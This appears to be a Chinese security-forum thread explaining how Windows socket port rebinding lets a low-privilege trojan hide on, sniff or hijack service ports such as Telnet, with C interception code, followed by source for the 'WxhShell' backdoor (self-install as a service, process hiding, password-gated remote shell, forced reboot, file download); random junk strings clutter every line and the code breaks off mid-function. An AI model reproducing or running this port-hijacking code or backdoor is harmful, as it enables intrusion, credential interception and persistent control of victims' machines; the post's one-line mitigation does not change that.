社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11759阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y$*Tbzp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @6 gA4h  
N ^h,[  
  saddr.sin_family = AF_INET; z mrk`o~  
=:6Y<ftC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &]pW##  
TxN#3m?G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A:p7\Kp;5}  
5^GUuFt5m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z6|P]u  
E} Uy-  
  这意味着什么?意味着可以进行如下的攻击: %=S^{A  
;r^8In@6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6g@j,iFy  
:5U(}\dL{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #?!)-Q%  
x~j%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \P}~ICZA  
vsqfvx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c(ZkK  
( y2%G=.j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `"zX<  
B:qZh$YN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aMZ6C <N  
F{]dq/{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #2_phm'  
/ta-jOcRH&  
  #include Q++lgVh)E  
  #include FFR_1Vf  
  #include K$ #(\-M  
  #include    1xL2f&bG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RQ9fA1YP  
  int main() 22}J.'Zb  
  { .9lx@6]+  
  WORD wVersionRequested; ]#j]yGV  
  DWORD ret; ~hE"B) e  
  WSADATA wsaData; V_Wv(G0-\  
  BOOL val; `-]*Qb+  
  SOCKADDR_IN saddr; ;8|uY%ab  
  SOCKADDR_IN scaddr; D7[ 8*^  
  int err;  #XQEfa  
  SOCKET s; 'Xxt[Jy  
  SOCKET sc; ,hT t]w  
  int caddsize; 3PpycJ}  
  HANDLE mt; -zN*2T  
  DWORD tid;   QI=",vma u  
  wVersionRequested = MAKEWORD( 2, 2 ); oSx]wZZ  
  err = WSAStartup( wVersionRequested, &wsaData ); _9Iz'-LgB  
  if ( err != 0 ) { Wl;F]_|*(  
  printf("error!WSAStartup failed!\n"); fg*IHha  
  return -1; db@i*Bf  
  } (/v(.t  
  saddr.sin_family = AF_INET; c[3sg  
   8"N<g'Yl,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #If}P$!  
[,8@oM#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HB||'gIC  
  saddr.sin_port = htons(23); O<Ht-TN&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #=OKY@z/  
  { l<(MC R*  
  printf("error!socket failed!\n"); |@sUN:G4k  
  return -1; g9<*+fV 2$  
  } vCFMO3  
  val = TRUE; Xb?P'nD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P"XF|*^U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R',Q)<  
  { )_,*2|b  
  printf("error!setsockopt failed!\n"); yS@c2I602  
  return -1; J)x-Yhe  
  } [ZZ~^U5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ymrmvuh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %qV=PC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -iR}kP|  
UP58Cln*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P5P:_hr  
  { \v)Dy)Vhg2  
  ret=GetLastError(); CJ8XKy  
  printf("error!bind failed!\n"); #@w8wCj  
  return -1; +j1s*}8  
  } iyB02\d  
  listen(s,2); 9 ]c2ub7  
  while(1) g1@zk $  
  { Q]S~H+eRy  
  caddsize = sizeof(scaddr); l<ag\ d  
  //接受连接请求 _<6 ^r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s+#gH@c  
  if(sc!=INVALID_SOCKET) IX$dDwY|O>  
  { Nv,1F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -= H* (M  
  if(mt==NULL) 07[A&B!  
  { 0BMKwZg  
  printf("Thread Creat Failed!\n");  s X.L  
  break; n;@PaE^8=  
  } W-qec  
  } + 0{m(%i  
  CloseHandle(mt); Qj.]I0d  
  } MRR5j;4GK  
  closesocket(s); !g  #  
  WSACleanup(); jV2L;APCq  
  return 0; :1^ R$0d  
  }   $A;jl`ng  
  DWORD WINAPI ClientThread(LPVOID lpParam) r{!]` '8  
  { 3k.{gAZKh  
  SOCKET ss = (SOCKET)lpParam; Nj$3Ig"l  
  SOCKET sc; qjFz}6  
  unsigned char buf[4096]; ,)TtI~6Q  
  SOCKADDR_IN saddr; x_pS(O(C  
  long num; I<`K;El'  
  DWORD val; c@wSv2o$  
  DWORD ret; .vE=527g)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [CL.Xil=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hbu8gqu  
  saddr.sin_family = AF_INET; m2F2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ![h+ R@_(  
  saddr.sin_port = htons(23); pM],-7UM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'r~,~A I  
  { UbNA|`H  
  printf("error!socket failed!\n"); jfP2n5X83  
  return -1; \3JZ =/  
  } &_Ze@Ir-  
  val = 100; 3=5K7 F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZJ}9g(X..g  
  { S96H`kedZo  
  ret = GetLastError(); x' >Nz{B,P  
  return -1; o=}}hE\H  
  } ` Fnl<C<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a8ya5EO  
  { :)o 4fOJ8  
  ret = GetLastError(); -sO[,  
  return -1; sU!h^N$  
  } Rah"La  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Cuu yG8  
  { 3#N'nhUzA  
  printf("error!socket connect failed!\n"); 1/X@~  
  closesocket(sc); K2$ fKju  
  closesocket(ss); kW#,o9f\  
  return -1; #hG0{_d7  
  } 1N6.r:wg)%  
  while(1) h DpIwzJ  
  { 5pSo`)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -AnQZy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wNo2$>*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q6blX6DWU  
  num = recv(ss,buf,4096,0); -FQ!  
  if(num>0) hgIqr^N9  
  send(sc,buf,num,0); H'KCIqo  
  else if(num==0) kt`_n+G  
  break; BIGln`;,f  
  num = recv(sc,buf,4096,0); E Q 'L"  
  if(num>0) )4:K@  
  send(ss,buf,num,0); Loz5[L  
  else if(num==0) gZA[Sq  
  break; aF*KY<w  
  } sB!#`kh  
  closesocket(ss); L7i2is  
  closesocket(sc); -#<6  
  return 0 ; W>f q 9  
  } .5L|(B=H  
s?Lx\?T  
Yc~(W ue  
========================================================== tfB}U.  
.#^ta9^t7  
下边附上一个代码,,WXhSHELL mm}y/dO~}  
Y-2IAJHS8  
========================================================== gJa48 pi  
NSe H u k  
#include "stdafx.h" -55[3=#  
Lx%*IE|c  
#include <stdio.h> #1Zqq([@  
#include <string.h> +cH,2^&  
#include <windows.h> di.yh3N$  
#include <winsock2.h> R[_Q}W'HG  
#include <winsvc.h> (~>uFH  
#include <urlmon.h> C,;T/9  
 +kA>^  
#pragma comment (lib, "Ws2_32.lib") I=aoP}_  
#pragma comment (lib, "urlmon.lib") &T.d"i  
G47(LE"2b  
#define MAX_USER   100 // 最大客户端连接数 !8g419Yg  
#define BUF_SOCK   200 // sock buffer @*?)S{8  
#define KEY_BUFF   255 // 输入 buffer /my5s\;s|z  
8;PS>9<  
#define REBOOT     0   // 重启 rA+UftC:p6  
#define SHUTDOWN   1   // 关机 SEfRU`  
nm"]q`(K  
#define DEF_PORT   5000 // 监听端口 uu7 ?,WT  
HQp\0NC]  
#define REG_LEN     16   // 注册表键长度 F}1h  
#define SVC_LEN     80   // NT服务名长度 7 bV(eV  
k1lo{jw`  
// 从dll定义API 5Zf^cou  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :1 *q}R   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vEy0DHEE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ML_$/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ATQw=w 3W  
4^r4O#  
// wxhshell配置信息 iGq%|o>  
struct WSCFG { vHJOpQmt~  
  int ws_port;         // 监听端口 IRhi1{K$"  
  char ws_passstr[REG_LEN]; // 口令 6jw9p+.  
  int ws_autoins;       // 安装标记, 1=yes 0=no &}'FC7}  
  char ws_regname[REG_LEN]; // 注册表键名 &9Y ^/W  
  char ws_svcname[REG_LEN]; // 服务名 uzoI*aqk-s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pj-.oS2dA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *wk?{ U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n!aA<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P"(VRc6x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 45.<eWH$*(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }Q2v~eD  
,(u-q]8   
}; ]?< wUd  
U g:  
// default Wxhshell configuration *S xDwN  
struct WSCFG wscfg={DEF_PORT, awXK9}.  
    "xuhuanlingzhe", Vu`5/QDq  
    1, RWg'W,v=!  
    "Wxhshell", Z";&1cK  
    "Wxhshell", i)iK0g"2  
            "WxhShell Service", i:a*6b.U@N  
    "Wrsky Windows CmdShell Service", -Oi8]Xw^@y  
    "Please Input Your Password: ", @T"-%L8PL  
  1, ! k[JP+;  
  "http://www.wrsky.com/wxhshell.exe", *{_N*p\{  
  "Wxhshell.exe" ^h$^j  
    }; b(IZ:ekZ5  
(himx8Uml2  
// 消息定义模块 F9} zt 9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lw]uH<v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eo@kn yA<&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hv  
char *msg_ws_ext="\n\rExit."; +\doF  
char *msg_ws_end="\n\rQuit."; #a`D6;  
char *msg_ws_boot="\n\rReboot..."; M7[GwA[Z +  
char *msg_ws_poff="\n\rShutdown..."; (*M*muk  
char *msg_ws_down="\n\rSave to "; .5"s[(S  
.FN;3HU  
char *msg_ws_err="\n\rErr!"; TU6(Q,Yi|  
char *msg_ws_ok="\n\rOK!"; mtg=v@~  
S$O5jX 0  
char ExeFile[MAX_PATH]; L6?~<#-m\M  
int nUser = 0; !/ a![Ne  
HANDLE handles[MAX_USER]; vbD""  
int OsIsNt; _Sg"|g  
gSa!zQN6  
SERVICE_STATUS       serviceStatus; {#.<hPXn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i]#"@xQ  
Kv9$c(~#  
// 函数声明 V3% >TNp  
int Install(void); S:K$fFcJ  
int Uninstall(void); 6b7c9n Z  
int DownloadFile(char *sURL, SOCKET wsh); y>#_LhTX-  
int Boot(int flag); *@{  
void HideProc(void); zviTGhA  
int GetOsVer(void); ECyG$j0  
int Wxhshell(SOCKET wsl); _l"=#i@L  
void TalkWithClient(void *cs); "38L ,PW0Z  
int CmdShell(SOCKET sock); 28LBvJVq@  
int StartFromService(void); ~<.{z]*O  
int StartWxhshell(LPSTR lpCmdLine); d,b]#fj  
1COSbi]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ken.#>w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SiYH@Wma  
P L7(0b%  
// 数据结构和表定义 yH(3 m#  
SERVICE_TABLE_ENTRY DispatchTable[] = q@G}Hjn  
{ o}&{Y2!x  
{wscfg.ws_svcname, NTServiceMain}, m-qu<4A/U|  
{NULL, NULL} B"sB0NuT/$  
}; Pl. y9g~  
qSDn0^y  
// 自我安装 <PFF\NE9  
int Install(void) N%,zME  
{ EKD#s,(V*X  
  char svExeFile[MAX_PATH]; !F:mD ZeY  
  HKEY key; xk  
  strcpy(svExeFile,ExeFile); 3RX9LJGX  
0h~{K  
// 如果是win9x系统,修改注册表设为自启动 (q0vql  
if(!OsIsNt) { \11+~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M&jlUr&l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {!j)j6(NY  
  RegCloseKey(key); L PS,\+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  &1f3e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v}J0j  
  RegCloseKey(key); it-]-=mqb  
  return 0; F [Lg,}  
    } 1 0zw}1x  
  } C;5`G *e  
} -%0pYB  
else { HOx+umjxW  
Q5hOVD%  
// 如果是NT以上系统,安装为系统服务 .p]r S =#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dpwqg3,  
if (schSCManager!=0) bSz@@s.  
{ V%{WH}  
  SC_HANDLE schService = CreateService ek.@ 0c  
  ( {+ Ibi{  
  schSCManager, 0~EGrEt  
  wscfg.ws_svcname, E]v]fy"  
  wscfg.ws_svcdisp, /N({"G'  
  SERVICE_ALL_ACCESS, !g`I*ZE+e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w=CzPNRHH!  
  SERVICE_AUTO_START, q'/o=De  
  SERVICE_ERROR_NORMAL, o%f:BJS  
  svExeFile, v`c;1?=,q  
  NULL, eh%{BXW[p  
  NULL, @`#x:p:  
  NULL, 1l/t|M^I  
  NULL, '=O1n H<  
  NULL 8{]nS8i  
  ); @ze2'56F}  
  if (schService!=0) 7x=4P|(\}  
  { @)x*62r+  
  CloseServiceHandle(schService); >gs_Bzy]  
  CloseServiceHandle(schSCManager); ^Zp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5]GgjQ  
  strcat(svExeFile,wscfg.ws_svcname); Zwz co  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x N7sFSV@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i6A9|G$H  
  RegCloseKey(key); eM 5#L,Y{  
  return 0; z@ J>A![m  
    } kt0xR)gU  
  } eX>*}pI  
  CloseServiceHandle(schSCManager); Gov.;hy  
} ByuBZ!m  
} &XdTY +  
*7-rm  
return 1; ' tHa5`  
} }zS5o [OE  
H] g=( %ok  
// 自我卸载 %.D!J",\/K  
int Uninstall(void) /D1Lh_,2  
{  sa&`CEa  
  HKEY key; O_ZYm{T[7  
u}%6=V  
if(!OsIsNt) { !Vg=l[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tHo|8c~ [  
  RegDeleteValue(key,wscfg.ws_regname); K,JK9)T  
  RegCloseKey(key); t,dm3+R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ssuz%*  
  RegDeleteValue(key,wscfg.ws_regname); /M::x+/T  
  RegCloseKey(key); w[\rS`J  
  return 0; w3"L5;oH  
  } `Oi#`lC\  
} AC'_#nPL#  
} ^a`3)WBv8  
else { 1og+(m`BL  
G&Dl($  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |`Noj+T47I  
if (schSCManager!=0) (hdu+^Qj=  
{ t$~'$kM)<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /:Gy .  
  if (schService!=0) 'e' p`*  
  { jDqG9]  
  if(DeleteService(schService)!=0) { 8!cHRtqK  
  CloseServiceHandle(schService); '<YBoU{ e*  
  CloseServiceHandle(schSCManager); ;x 2o|#`b  
  return 0; oGB|k]6]|  
  } {l5fKVb\C  
  CloseServiceHandle(schService); me{u~9&  
  } R|'W#"{@  
  CloseServiceHandle(schSCManager); Y)]C.V,~  
} rX /'  
} +&S6se4  
n}[S  
return 1; ;1PJS_@rX  
} j)Ak:l%a  
JKfJ%yy |  
// 从指定url下载文件 !H)-  
int DownloadFile(char *sURL, SOCKET wsh) rm9>gKN;#  
{ L'S,=NYXY  
  HRESULT hr; )qw;KG0F  
char seps[]= "/"; })P!7t  
char *token; :UP8nq  
char *file; F[$cE  
char myURL[MAX_PATH]; Osm))Ua(  
char myFILE[MAX_PATH]; Eyjsbj8  
nDX Em6|e  
strcpy(myURL,sURL); qbeUc5`1  
  token=strtok(myURL,seps); W+63B8)4  
  while(token!=NULL) [:#K_EI5%  
  { knYp"<qj  
    file=token; 'sH_^{V2  
  token=strtok(NULL,seps); S4 Uu/EX6S  
  } Dol{y=(3e  
DBB&6~;?  
GetCurrentDirectory(MAX_PATH,myFILE); fglfnx0{  
strcat(myFILE, "\\"); A]5];c  
strcat(myFILE, file); pc0{  
  send(wsh,myFILE,strlen(myFILE),0); Y1I)w^}:  
send(wsh,"...",3,0); A]'jsv!+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wh| T3&  
  if(hr==S_OK) /z4c>)fV  
return 0; Y8]@y0(  
else 2vLun   
return 1; 72"H#dy%U  
qD ?`Yd  
} x51R:x(p  
dH;2OWM  
// 系统电源模块 -5 PVWL\  
int Boot(int flag) hEu_mw#  
{ cPuXy e  
  HANDLE hToken; vVw@^7U  
  TOKEN_PRIVILEGES tkp; sAqy(oy#M  
T9w=k)  
  if(OsIsNt) { rG6G~ |mS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ls:oC},p*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^M6lF5  
    tkp.PrivilegeCount = 1; e 9RYk:O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [V:~j1{3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QwWd"Of  
if(flag==REBOOT) { p? o[+L<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ed#fDMXGQ%  
  return 0; A2:}bb~H  
} g ,EDE6`8  
else { "4H@&:-(p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ll4CF}k  
  return 0; :R=6Ku>  
} <6Gs0\JB  
  } >h;]rMD!|  
  else { :tU^  
if(flag==REBOOT) { X:g5;NT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G Ixs>E'X  
  return 0; 0LH6G[  
} wCNn/%C  
else { 5kTs7zJ^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y06^M?}  
  return 0; {@)ZXg  
} 4 O8ct,Y  
} $$NWN?H~  
~>u| 7 M$(  
return 1; 7GsKD=bl]  
} ~ W8X g)  
Uc {m##!  
// win9x进程隐藏模块 8R3{YJ6@T  
void HideProc(void) Lo!hyQ)  
{ zT78FliY6  
}u O YF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vJ65F6=G  
  if ( hKernel != NULL ) I@ue eDY  
  { `hj,rF+4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A5yVxSF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U_5`  
    FreeLibrary(hKernel); MmjZq  
  } lxL.ztL  
^%9oeT{  
return; ?QT6q]|d0+  
} w/m@(EBK  
'?veMX  
// 获取操作系统版本 w/nohZF6H  
int GetOsVer(void) %o%V4K*  
{ T{C;bf:Q  
  OSVERSIONINFO winfo; W^ L ^7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /_qq(,3  
  GetVersionEx(&winfo); r3g^ 0|)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ia#!T"]@W6  
  return 1; FHr)xqo=~  
  else /o;L,mcx*  
  return 0; W"vLCHTh  
} tjx8 UgSi  
G9Uc }z  
// 客户端句柄模块 C LaQE{  
int Wxhshell(SOCKET wsl) .u&xo{$'dS  
{ (O0Ry2u k  
  SOCKET wsh; |z=`Ur@)  
  struct sockaddr_in client; ct3i^,i  
  DWORD myID; AuXUD9 -  
z.cDbkf}  
  while(nUser<MAX_USER) H1kI+YJ@  
{ B&a{,.m&q6  
  int nSize=sizeof(client); FFcCoPX_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5 qfvHQ ~M  
  if(wsh==INVALID_SOCKET) return 1; ;b0Q%TDh  
U~: H>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k=mQG~  
if(handles[nUser]==0) bu _ @>`S  
  closesocket(wsh); Hloe7+5UD  
else ^}-l["u`  
  nUser++; cRnDAn#42  
  } KNAvLcg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dRron_'  
ZxnPSA@%  
  return 0; CXrOb+  
} c6xr[tc%  
.A< HM}   
// 关闭 socket Og7yT{h_  
void CloseIt(SOCKET wsh) AhF@  
{  <J;O$S  
closesocket(wsh); 3$ ! QP N  
nUser--; OCx'cSs-=  
ExitThread(0); ]XEyG7D  
} ; CCg]hX  
FLMiW]?x  
// 客户端请求句柄 d*^JO4'  
void TalkWithClient(void *cs) ! *sXLlS  
{ ':4<[Vk  
>j=ZB3yZ  
  SOCKET wsh=(SOCKET)cs; U7g`R@  
  char pwd[SVC_LEN]; JI!1 .]&  
  char cmd[KEY_BUFF]; vMp=\U-~^  
char chr[1]; ;-u]@35  
int i,j; Mgw#4LU  
"mJo<i}  
  while (nUser < MAX_USER) { \|Af26  
aze#Cn,P}  
if(wscfg.ws_passstr) { 4@0aN6Os  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #7 O7O~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e`4mrBtz|  
  //ZeroMemory(pwd,KEY_BUFF); FFw(`[A_  
      i=0; +yO) 3  
  while(i<SVC_LEN) { Wa^Wn +r  
#'&-S@/nQs  
  // 设置超时 -w"I  
  fd_set FdRead; o!BCR:  
  struct timeval TimeOut; &s`)_P[  
  FD_ZERO(&FdRead); R@3HlGuRKw  
  FD_SET(wsh,&FdRead); Y5GN7.  
  TimeOut.tv_sec=8; @o0HDS  
  TimeOut.tv_usec=0; XE2Un1i}j1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YdCl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (sKg*G2  
ExO#V9DaW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QfEJU8/5d  
  pwd=chr[0]; ,9ueHE  
  if(chr[0]==0xd || chr[0]==0xa) { "QOQ  
  pwd=0; g4WmUV#wp  
  break; D=a*Xu2zq  
  } ;&j'`tP  
  i++; )W\ )kDh!  
    } wnX;eU/n  
viG=Ap.Th  
  // 如果是非法用户,关闭 socket 6n2RTH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R9A:"sJ  
} Ms6 ;iW9  
pA.orx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T/|!^qLF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \2/X$x<?X  
_ooHB>sH  
while(1) { t[!,puZc#  
B@-\.m  
  ZeroMemory(cmd,KEY_BUFF); 7RUztu\_  
Ye On   
      // 自动支持客户端 telnet标准   [1(eSH  
  j=0; ti+e U$  
  while(j<KEY_BUFF) { jF;<9-m&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;b [>{Q;  
  cmd[j]=chr[0]; -"xAeI1+  
  if(chr[0]==0xa || chr[0]==0xd) { hXI[FICQU{  
  cmd[j]=0; %@:>hQ2;  
  break; X40gJV<  
  } `S((F|Ty=;  
  j++; l)$mpMgAD  
    } [Z/P[370  
@~2k5pa  
  // 下载文件 AIOGa<^  
  if(strstr(cmd,"http://")) { @] .s^ss9_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b$H bo;_   
  if(DownloadFile(cmd,wsh)) KN_n:`cH{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=D]=&H  
  else M{p6&eg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R,D/:k'~k  
  } '~ b  
  else { Ut~YvWc9  
-!+i ^r  
    switch(cmd[0]) { Z|@-=S(.  
  lJAzG,f  
  // 帮助 `P\H{  
  case '?': { puMVvo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a)2l9  
    break; %GjG.11V,_  
  } 53uptQ{   
  // 安装 T|\sN*}\8J  
  case 'i': { |u`YT;`!"-  
    if(Install()) Jy:@&c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n2*Ua/J-8  
    else CxaI@+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Z]?a  
    break; =z5=?  
    } 0D4 4  
  // 卸载 N''xdz3Z  
  case 'r': { D`n<!"xg@$  
    if(Uninstall()) d3EN0e+^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oa+'.b~  
    else dh]Hf,OLF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <8%+-[(  
    break; vH6(p(l  
    } >7a ENKOg:  
  // 显示 wxhshell 所在路径 fPN/Mxu  
  case 'p': { %zc.b  
    char svExeFile[MAX_PATH]; G{.=27  
    strcpy(svExeFile,"\n\r"); 7oLlRU  
      strcat(svExeFile,ExeFile); <2j$P Y9  
        send(wsh,svExeFile,strlen(svExeFile),0); 5Qg*j/z?  
    break; 8u[.s`^  
    } b7xOm"X,N  
  // 重启 >*/ |t L  
  case 'b': { f(}&8~&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \W_ Dz*N  
    if(Boot(REBOOT)) ++w{)Io Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  `&a8Wv  
    else { aU +uPP  
    closesocket(wsh); \zVp8MMf  
    ExitThread(0); eiOAbO#U  
    } z1RHdu0;z  
    break; )e[q% %ks  
    } Wsd_RT}ww  
  // 关机 ,f>^ q"  
